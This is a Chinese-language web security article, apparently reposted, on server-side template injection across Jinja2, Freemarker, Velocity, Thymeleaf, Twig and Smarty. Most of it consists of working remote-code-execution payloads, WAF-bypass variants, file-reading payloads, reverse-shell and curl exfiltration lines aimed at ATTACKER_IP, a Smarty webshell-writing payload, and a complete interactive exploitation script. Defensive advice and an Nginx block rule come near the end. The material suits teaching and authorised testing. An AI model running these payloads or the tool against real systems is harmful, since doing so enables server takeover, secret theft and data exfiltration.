文章总结: 本文深入解析SSTI服务端模板注入漏洞,从原理、检测到利用链全面覆盖。重点分析Jinja2引擎的RCE利用链,提供多种实战Payload如lipsum链可直接执行系统命令。文档包含漏洞危害评估、多引擎检测方法及自动化脚本,强调该漏洞可直接导致服务器沦陷的高风险性,并提醒在授权环境下测试。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,安全开发,红队
SSTI服务端模板注入:从原理到利用链全解析
小悉 小悉
爱安全Info
2026年4月2日 06:29 安徽
SSTI 服务端模板注入:从原理到利用链全解析
发布日期: 2026 年 04 月 02 日 漏洞类型: 服务端模板注入 (Server-Side Template Injection) CWE 编号: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) OWASP 分类: A03:2021 – Injection 难度等级: 🟡 中级 → 🔴 高级 风险等级: 🔴 High(可直接 RCE) 法律提醒: 仅在授权环境中测试,遵守《网络安全法》
0x01 什么是 SSTI
SSTI(Server-Side Template Injection)是指攻击者能将恶意载荷注入到服务端模板引擎的模板字符串中,导致模板引擎在渲染时执行了非预期的代码。
核心区别:
- XSS → 注入点在浏览器(客户端),影响用户
- SSTI → 注入点在服务端模板引擎,直接在服务器上执行,影响服务器
一个最简单的例子(Python Flask + Jinja2):
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'World')
# 危险:用户输入直接拼接到模板字符串
template = f"Hello {name}!"
return render_template_string(template)
当访问 /greet?name={{7*7}} 时,页面返回 Hello 49! 而不是 Hello {{7*7}}!,说明模板表达式被执行了。
安全写法应该是:
@app.route('/greet')
def greet():
name = request.args.get('name', 'World')
# 安全:用户输入作为变量传入,不参与模板解析
return render_template_string("Hello {{ name }}!", name=name)
SSTI 的危害远超 XSS: 一旦存在 SSTI,攻击者通常可以实现远程代码执行(RCE),完全控制服务器。这不是一个”低危”漏洞,而是直通 shell 的高危漏洞。
0x02 常见受影响模板引擎
不同语言有不同的模板引擎,攻击语法也各不相同:
| 模板引擎 | 语言 | 检测 Payload | 典型框架 |
| — | — | — | — |
| Jinja2 | Python | {{7*7}} → 49 | Flask |
| Twig | PHP | {{7*7}} → 49 | Symfony |
| Freemarker | Java | ${7*7} → 49 | Spring MVC |
| Velocity | Java | #set($x=7*7)${x} → 49 | Apache Velocity |
| Thymeleaf | Java | 特殊语法(见下文) | Spring Boot |
| Smarty | PHP | {7*7} → 49 | 独立使用 |
| Pebble | Java | {{7*7}} → 49 | 独立使用 |
| ERB | Ruby | <%= 7*7 %> → 49 | Rails |
| Tornado | Python | {{7*7}} → 49 | Tornado |
| Mako | Python | ${7*7} → 49 | Pylons, Pyramid |
0x03 SSTI 检测方法论
3.1 指纹识别决策树
PortSwigger 给出的经典检测流程:
输入 ${7*7}
|-- 返回 49 → 可能是 Freemarker / Velocity / Mako
| |-- 输入 ${7*'7'}
| |-- 返回 7777777 → Jinja2(不太可能在Java)
| |-- 报错 → Freemarker
|-- 返回原文 → 试 {{7*7}}
|-- 返回 49 → Jinja2 / Twig / Pebble
| |-- 输入 {{7*'7'}}
| |-- 返回 7777777 → Jinja2
| |-- 返回 49 → Twig
|-- 返回原文 → 试其他语法 (<%= %>, {}, #{})
3.2 通用检测 Payload 列表
数学运算类(最常用):
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
{{7*'7'}}
信息泄露类:
{{request}}
{{config}}
{{self}}
${object.getClass()}
报错触发类:
{{foobar}}
${foobar}
<%= foobar %>
{{''.__class__}}
3.3 自动化检测脚本
#!/usr/bin/env python3
"""
SSTI 多引擎自动检测脚本
用法: python ssti_detect.py <URL> <参数名>
示例: python ssti_detect.py "http://target/page" "name"
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()
PAYLOADS = [
("{{7*7}}", "49", "Jinja2/Twig/Pebble"),
("${7*7}", "49", "Freemarker/Velocity/Mako"),
("<%= 7*7 %>", "49", "ERB/JSP"),
("#{7*7}", "49", "Ruby/Java EL"),
("{{7*'7'}}", "7777777", "Jinja2 (confirmed)"),
("${7*'7'}", "7777777", "Mako/Groovy"),
("{{config}}", "<Config", "Jinja2 (Flask config leak)"),
("{{request.application.__globals__}}", "builtin", "Jinja2 (deep access)"),
("${class.getResource('')}", "file:", "Java EL / Freemarker"),
("{php}echo(7*7);{/php}", "49", "Smarty (PHP tags)"),
]
def detect_ssti(url, param):
print(f"[*] 目标: {url}, 参数: {param}")
print(f"[*] 开始检测 {len(PAYLOADS)} 个 Payload...\n")
detected = []
for payload, expected, engine in PAYLOADS:
try:
r = requests.get(
url,
params={param: payload},
timeout=10,
verify=False
)
if expected in r.text:
print(f" [+] SSTI 命中! 引擎: {engine}")
print(f" Payload: {payload}")
print(f" 证据: 响应中包含 '{expected}'")
detected.append((payload, engine))
except requests.RequestException as e:
print(f" [!] 请求失败: {e}")
continue
if detected:
print(f"\n[+] 检测完成,发现 {len(detected)} 个有效 Payload")
return detected
else:
print("\n[-] 未检测到 SSTI 漏洞")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <URL> <参数名>")
sys.exit(1)
detect_ssti(sys.argv[1], sys.argv[2])
0x04 Jinja2 利用链深度解析(Python)
Jinja2 是 SSTI 研究中最经典、利用链最丰富的引擎。理解了 Jinja2 的利用思路,其他引擎可以触类旁通。
4.1 基础信息泄露
# Flask 配置泄露(SECRET_KEY、数据库密码等)
{{config}}
{{config.items()}}
{{config['SECRET_KEY']}}
# 请求对象信息
{{request.environ}}
{{request.headers}}
{{request.cookies}}
# 自身类信息(MRO 链的起点)
{{''.__class__}}
# 输出: <class 'str'>
{{''.__class__.__mro__}}
# 输出: (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1].__subclasses__()}}
# 输出: 几百个 Python 内置类
4.2 RCE 利用链一:MRO 子类遍历
核心思路: Python 中一切皆对象。通过字符串 '' 的 __class__ 找到 object 基类,再通过 __subclasses__() 遍历所有子类,找到能执行命令的类(如 subprocess.Popen、os._wrap_close)。
第一步:找到 object 基类
{{''.__class__.__mro__}}
# 返回: (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}}
# 返回: <class 'object'>
第二步:列出所有子类
{{''.__class__.__mro__[1].__subclasses__()}}
# 返回几百个类,需要从中找到危险类
第三步:自动寻找 Popen 类索引
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
索引: {{loop.index0}} - 类名: {{c}}
{% endif %}
{% endfor %}
第四步:执行命令
假设 subprocess.Popen 在索引 407(不同环境索引不同):
# 执行命令并获取输出
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()[0]}}
# 更稳定的写法(自动查找,不依赖索引)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{c('id',shell=True,stdout=-1).communicate()}}
{% endif %}
{% endfor %}
4.3 RCE 利用链二:os._wrap_close
os._wrap_close 类的 __init__.__globals__ 中包含 popen 函数:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{c.__init__.__globals__['popen']('id').read()}}
{% endif %}
{% endfor %}
4.4 RCE 利用链三:Jinja2 内置全局对象(最短 Payload)
Jinja2 有几个内置全局对象,它们的 __globals__ 中包含 os 模块:
# lipsum 链(最常用,Payload 最短)
{{lipsum.__globals__['os'].popen('id').read()}}
# cycler 链
{{cycler.__init__.__globals__.os.popen('id').read()}}
# joiner 链
{{joiner.__init__.__globals__.os.popen('id').read()}}
# namespace 链
{{namespace.__init__.__globals__.os.popen('id').read()}}
这些是实战中最推荐的 Payload,因为:
- 不依赖子类索引(不同环境通用)
- Payload 短小,不容易被 WAF 截断
- 成功率高
4.5 RCE 利用链四:builtins
# 通过 __builtins__ 导入任意模块
{{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# 通过 lipsum 访问 __builtins__
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# 直接 eval
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
4.6 文件读取
# 方法1:通过 builtins 的 open
{{lipsum.__globals__['__builtins__']['open']('/etc/passwd').read()}}
# 方法2:通过 os.popen + cat
{{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}
# 方法3:通过 config 对象
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
# 方法4:通过 MRO 找 FileLoader
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'FileLoader' %}
{{c.get_data(0, '/etc/passwd')}}
{% endif %}
{% endfor %}
4.7 反弹 Shell
# Bash 反弹
{{lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
# Python 反弹
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').system('python3 -c \\'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])\\')")}}
0x05 WAF Bypass 技巧大全
实战中经常遇到 WAF 或代码层过滤,以下是分类整理的绕过手段:
5.1 关键字过滤绕过
过滤了 class、mro、subclasses 等关键字:
# 方法1:字符串拼接
{{''|attr('__cla'+'ss__')}}
{{''['__cla''ss__']}}
# 方法2:attr 过滤器
{{''|attr('__class__')|attr('__mro__')}}
# 方法3:通过 request 对象传入
{{().__class__.__mro__[1].__subclasses__()[407](request.args.cmd,shell=True,stdout=-1).communicate()}}
# URL: ?cmd=id
# 方法4:16进制编码
{{''['\x5f\x5fclass\x5f\x5f']}}
# \x5f = _
5.2 过滤了引号
# 方法1:通过 request.args 传入字符串
{{lipsum.__globals__[request.args.os].popen(request.args.cmd).read()}}
# URL: ?os=os&cmd=id
# 方法2:通过 request.cookies
{{lipsum.__globals__[request.cookies.os].popen(request.cookies.cmd).read()}}
# Cookie: os=os; cmd=id
# 方法3:通过 request.values
{{lipsum.__globals__[request.values.os].popen(request.values.cmd).read()}}
# 方法4:chr() 构造字符串
{% set chr=lipsum.__globals__.__builtins__.chr %}
{{lipsum.__globals__[chr(111)~chr(115)].popen(chr(105)~chr(100)).read()}}
# chr(111)~chr(115) = "os", chr(105)~chr(100) = "id"
5.3 过滤了下划线 _
# 方法1:通过 request 传入
{{()|attr(request.args.a)}}
# URL: ?a=__class__
# 方法2:16进制
{{()|attr('\x5f\x5fclass\x5f\x5f')}}
# 方法3:Unicode 编码
{{()|attr('\u005f\u005fclass\u005f\u005f')}}
5.4 过滤了点号 .
# 方法1:中括号访问
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
# 方法2:attr 过滤器
{{''|attr('__class__')|attr('__mro__')|first|attr('__subclasses__')()}}
5.5 过滤了 {{
# 方法1:使用 {% %} 语句块 + print
{% print(lipsum.__globals__['os'].popen('id').read()) %}
# 方法2:使用 {% if %} 配合外带
{% if lipsum.__globals__['os'].popen('curl ATTACKER_IP:8888/$(id|base64)').read() %}1{% endif %}
# 方法3:使用 {% set %} 赋值
{% set result = lipsum.__globals__['os'].popen('id').read() %}
{% print(result) %}
5.6 过滤了数字
# 用 length 过滤器构造数字
{% set zero = ''|length %} # 0
{% set one = 'a'|length %} # 1
{% set seven = 'aaaaaaa'|length %} # 7
# 用 true/false 构造
{% set one = true|int %} # 1
{% set two = one + one %} # 2
5.7 过滤了中括号 []
# 方法1:__getitem__
{{''.__class__.__mro__.__getitem__(1)}}
# 方法2:pop
{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)}}
# 方法3:过滤器 first / last
{{''.__class__.__mro__|last}} # object 通常是最后一个
0x06 Java 模板引擎利用
6.1 Freemarker RCE
Freemarker 是 Java 生态中最常见的模板引擎之一:
// 方法1:内置 Execute 类(最直接)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
// 方法2:ObjectConstructor 构造 ProcessBuilder
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",
ob("java.io.InputStreamReader",
ob("java.lang.ProcessBuilder",["id"])?first.start().getInputStream()
)
)>
${br.readLine()}
// 方法3:JythonRuntime(需要 Jython 环境)
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os;os.system("id")</@jr>
// 文件读取
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
FILE: [<#list 0..999 as _>
<#assign byte=is.read()>
<#if byte == -1><#break></#if>
${byte?char}
</#list>]
6.2 Velocity RCE
// 方法1:Runtime.exec
#set($rt=$class.forName("java.lang.Runtime"))
#set($m=$rt.getMethod("getRuntime",null))
#set($r=$m.invoke(null,null))
#set($p=$r.exec("id"))
#set($is=$p.getInputStream())
#foreach($i in [1..$is.available()])
$chr.toChars($is.read())
#end
// 方法2:ProcessBuilder
#set($pb=new java.lang.ProcessBuilder(["bash","-c","id"]))
#set($p=$pb.start())
6.3 Thymeleaf RCE(Spring Boot)
Thymeleaf 的 SSTI 比较特殊,通常出现在控制器返回值或URL路径中:
// 漏洞代码示例
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome";
// 用户输入拼接到视图名,触发 Thymeleaf 表达式解析
}
利用 Payload:
# 基础 RCE
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
# 带回显 RCE
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}__::.x
# URL 编码后发送
__${T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','id'})}__::.x
注意: Thymeleaf 3.0.12+ 已修复了视图名中的表达式注入(CVE-2020-35723),但仍需注意 th:text 等属性中的动态内容。
0x07 PHP 模板引擎利用
7.1 Twig RCE
// Twig 1.x(_self 可用)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x/3.x(_self 受限,使用 filter/map)
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id',0]|sort('system')}}
{{['id']|filter('exec')}}
{{['id']|reduce('system')}}
// 文件读取
{{'../../../etc/passwd'|file_excerpt(0,100)}}
// 信息泄露
{{app.request.server.all|join(',')}}
7.2 Smarty RCE
// Smarty 2.x(直接执行 PHP)
{php}system('id');{/php}
// Smarty 3.x(php 标签被移除,使用 if)
{if system('id')}{/if}
{if exec('id')}{/if}
{if passthru('id')}{/if}
// 通过 self 读文件
{self::getStreamVariable("file:///etc/passwd")}
// 写 webshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
0x08 实战 POC:完整复现环境
8.1 Flask SSTI 靶场搭建
# vuln_app.py - 漏洞环境
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = 'ThisIsASuperSecretKey123!'
app.config['DATABASE_URI'] = 'mysql://root:password@localhost/mydb'
@app.route('/')
def index():
return '''
<h1>Search Page</h1>
<form action="/search" method="GET">
<input name="q" placeholder="Search...">
<button type="submit">Search</button>
</form>
'''
@app.route('/search')
def search():
q = request.args.get('q', '')
# 漏洞点:用户输入直接拼接到模板字符串
template = '<h1>Results for: %s</h1>' % q
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
复现步骤:
# 1. 安装 Flask
pip install flask
# 2. 启动靶场
python vuln_app.py
# 3. 检测 SSTI
curl "http://localhost:5000/search?q={{7*7}}"
# 预期: Results for: 49
# 4. 泄露 SECRET_KEY
curl "http://localhost:5000/search?q={{config.SECRET_KEY}}"
# 预期: Results for: ThisIsASuperSecretKey123!
# 5. 执行系统命令
curl "http://localhost:5000/search?q={{lipsum.__globals__['os'].popen('id').read()}}"
# 预期: Results for: uid=1000(xxx) gid=1000(xxx)
# 6. 读取敏感文件
curl "http://localhost:5000/search?q={{lipsum.__globals__['os'].popen('cat%20/etc/passwd').read()}}"
8.2 Docker 一键靶场
# Dockerfile
FROM python:3.11-slim
RUN pip install flask
COPY vuln_app.py /app/
WORKDIR /app
EXPOSE 5000
CMD ["python", "vuln_app.py"]
# 构建并运行
docker build -t ssti-lab .
docker run -d -p 5000:5000 ssti-lab
8.3 一键检测+利用工具
#!/usr/bin/env python3
"""
SSTI 一键检测与利用工具
支持: Jinja2, Twig, Freemarker, Smarty, Velocity, ERB
用法: python ssti_exploit.py <URL> <参数名> [命令]
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()
class SSTIExploiter:
def __init__(self, url, param):
self.url = url
self.param = param
self.engine = None
self.session = requests.Session()
self.session.verify = False
def detect(self):
"""检测 SSTI 并识别引擎"""
tests = [
("{{7*7}}", "49", "jinja2_or_twig"),
("{{7*'7'}}", "7777777", "jinja2"),
("${7*7}", "49", "freemarker_or_velocity"),
("<%= 7*7 %>", "49", "erb"),
("{7*7}", "49", "smarty"),
]
print("[*] 阶段1: 检测 SSTI 漏洞")
for payload, expected, engine in tests:
try:
r = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
if expected in r.text:
self.engine = engine
print(f" [+] 命中! 引擎: {engine}")
print(f" Payload: {payload}")
return True
except Exception:
continue
print(" [-] 未检测到 SSTI")
return False
def exploit_jinja2(self, cmd):
"""Jinja2 RCE"""
payloads = [
# Chain 1: lipsum(最短)
f"{{{{lipsum.__globals__['os'].popen('{cmd}').read()}}}}",
# Chain 2: cycler
f"{{{{cycler.__init__.__globals__.os.popen('{cmd}').read()}}}}",
# Chain 3: config
f"{{{{config.__class__.__init__.__globals__['os'].popen('{cmd}').read()}}}}",
# Chain 4: MRO 自动搜索
"{{% for c in ''.__class__.__mro__[1].__subclasses__() %}}"
"{{% if c.__name__=='Popen' %}}"
f"{{{{c('{cmd}',shell=True,stdout=-1).communicate()[0].decode()}}}}"
"{{% endif %}}{{% endfor %}}",
]
print(f"\n[*] 阶段2: 执行命令 '{cmd}'")
for i, payload in enumerate(payloads, 1):
try:
r = self.session.get(
self.url,
params={self.param: payload},
timeout=15
)
# 简单清洗输出
text = r.text.strip()
if len(text) > 0 and 'Error' not in text:
print(f" [+] Chain #{i} 成功!")
print(f" [*] 输出:")
print(f" {text}")
return True
except Exception:
continue
print(" [-] 所有利用链均失败")
return False
def interactive(self):
"""交互式 Shell"""
print("\n[*] 进入交互模式 (输入 'exit' 退出)")
print("[*] 提示: 支持常规 Linux 命令\n")
while True:
try:
cmd = input("\033[91mssti\033[0m > ").strip()
if cmd.lower() in ('exit', 'quit', 'q'):
print("[*] 退出")
break
if not cmd:
continue
self.exploit_jinja2(cmd)
except KeyboardInterrupt:
print("\n[*] 退出")
break
if __name__ == "__main__":
banner = """
____ ____ _____ ___ _____ _ _ _
/ ___|/ ___|_ _|_ _| | ____|_ ___ __| | ___ (_) |_
\\___ \\\\___ \\ | | | | | _| \\ \\/ / '_ \\| / _ \\| | __|
___) |___) || | | | | |___ > <| |_) | | (_) | | |_
|____/|____/ |_| |___| |_____/_/\\_\\ .__/|_|\\___/|_|\\__|
|_|
"""
print(banner)
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <URL> <参数名> [命令]")
print(f"示例: {sys.argv[0]} http://target/search q id")
sys.exit(1)
exploiter = SSTIExploiter(sys.argv[1], sys.argv[2])
if exploiter.detect():
if len(sys.argv) > 3:
exploiter.exploit_jinja2(' '.join(sys.argv[3:]))
else:
exploiter.interactive()
0x09 真实 CVE 案例
CVE-2019-11581 — Jira SSTI (CVSS 9.8)
Atlassian Jira Server/Data Center 中的模板注入漏洞,攻击者可通过联系管理员表单注入 Velocity 模板代码:
# 影响版本
Jira Server < 7.6.14, 7.7.x-7.12.x, 7.13.x < 7.13.5, 8.0.x < 8.0.3, 8.1.x < 8.1.2, 8.2.x < 8.2.3
# 利用条件
1. Jira 配置了 SMTP 服务器
2. 联系管理员表单已启用
# Payload(Velocity 语法)
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('id')
CVE-2023-34362 — MOVEit Transfer SSTI
Progress MOVEit Transfer 中的模板注入导致 RCE,被 Cl0p 勒索团伙大规模利用:
# 影响: MOVEit Transfer < 2023.0.1
# 攻击面: 无需认证
# 后果: 大规模数据泄露事件
CVE-2020-35723 — Thymeleaf 视图名注入
Spring Boot + Thymeleaf 组合中,控制器返回值可被注入:
// 漏洞控制器
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
// document 被用作视图名,触发 Thymeleaf 表达式解析
}
// Payload
/doc/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
0x0A 防御方案
10.1 根本解决:不要拼接用户输入到模板
# Python/Jinja2 - 错误
render_template_string(f"Hello {user_input}")
# Python/Jinja2 - 正确
render_template_string("Hello {{ name }}", name=user_input)
// Java/Freemarker - 错误
template.process("Hello " + userInput, out);
// Java/Freemarker - 正确
Map<String, Object> model = new HashMap<>();
model.put("name", userInput);
template.process(model, out);
// PHP/Twig - 错误
$twig->createTemplate("Hello " . $userInput)->render();
// PHP/Twig - 正确
$twig->createTemplate("Hello {{ name }}")->render(['name' => $userInput]);
10.2 启用沙箱模式
# Jinja2 沙箱
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=user_input)
# 沙箱会阻止访问 __class__、__mro__ 等危险属性
// Freemarker 配置安全策略
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// 禁止 Execute、ObjectConstructor、JythonRuntime
10.3 WAF 规则
# Nginx 层拦截模板语法特征
if ($args ~* "(\{\{|\$\{|<%|#\{|\{%|__class__|__mro__|__subclasses__|__globals__|__builtins__|__init__|lipsum|cycler|joiner|config|popen|system|exec|eval|getRuntime|ProcessBuilder|freemarker\.template)") {
return 403;
}
10.4 安全开发检查清单
| 检查项 | 说明 |
| — | — |
| 模板变量绑定 | 使用模板引擎的变量传递机制,不拼接用户输入 |
| 沙箱模式 | 启用模板引擎的沙箱/安全模式 |
| 最小化暴露 | 限制模板中可访问的对象和方法 |
| 输入过滤 | 对用户输入做白名单过滤 |
| WAF 防护 | 部署 WAF 拦截模板语法特征 |
| 版本更新 | 及时更新模板引擎版本 |
| 代码审计 | 重点审计 render_template_string、Template()、createTemplate() 等调用 |
| 权限隔离 | 运行 Web 应用的用户使用最小权限 |
0x0B 工具推荐
| 工具 | 用途 | 链接 | | — | — | — | | tplmap | SSTI 自动检测与利用 | github.com/epinna/tplmap | | SSTImap | tplmap 的现代替代品 | github.com/vladko312/SSTImap | | Burp Suite | 手动测试 + Intruder 批量检测 | portswigger.net | | nuclei | 基于模板的漏洞扫描 | github.com/projectdiscovery/nuclei |
tplmap 使用示例:
# 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# 自动检测+利用
python tplmap.py -u "http://target/page?name=test"
# 获取 shell
python tplmap.py -u "http://target/page?name=test" --os-shell
# 指定引擎
python tplmap.py -u "http://target/page?name=test" -e jinja2
0x0C 参考资料
官方来源
- PortSwigger – Server-Side Template Injection[1]
- OWASP – Template Injection[2]
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine[3]
技术分析
- HackTricks – SSTI (Server Side Template Injection)[4]
- PayloadsAllTheThings – Server Side Template Injection[5]
- James Kettle – Server-Side Template Injection (Original Research)[6]
工具
- tplmap – Server-Side Template Injection Exploitation Tool[7]
- SSTImap – Modern SSTI Detection and Exploitation Tool[8]
免责声明: 本文所有技术内容仅用于安全研究和授权测试。未经授权对他人系统进行测试属于违法行为,请严格遵守《中华人民共和国网络安全法》等相关法律法规。
安全提示: 如果你在自己的项目中使用了模板引擎,请立即检查是否存在用户输入直接拼接到模板字符串的情况,并按照本文的防御方案进行修复。
作者:爱安全 Info | 关注我们获取更多网络安全技术干货
引用链接
[1]PortSwigger – Server-Side Template Injection: https://portswigger.net/web-security/server-side-template-injection
[2]OWASP – Template Injection: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
[3]CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine: https://cwe.mitre.org/data/definitions/1336.html
[4]HackTricks – SSTI (Server Side Template Injection): https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
[5]PayloadsAllTheThings – Server Side Template Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
[6]James Kettle – Server-Side Template Injection (Original Research): https://portswigger.net/research/server-side-template-injection
[7]tplmap – Server-Side Template Injection Exploitation Tool: https://github.com/epinna/tplmap
[8]SSTImap – Modern SSTI Detection and Exploitation Tool: https://github.com/vladko312/SSTImap
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:爱安全Info 小悉 小悉《SSTI服务端模板注入:从原理到利用链全解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论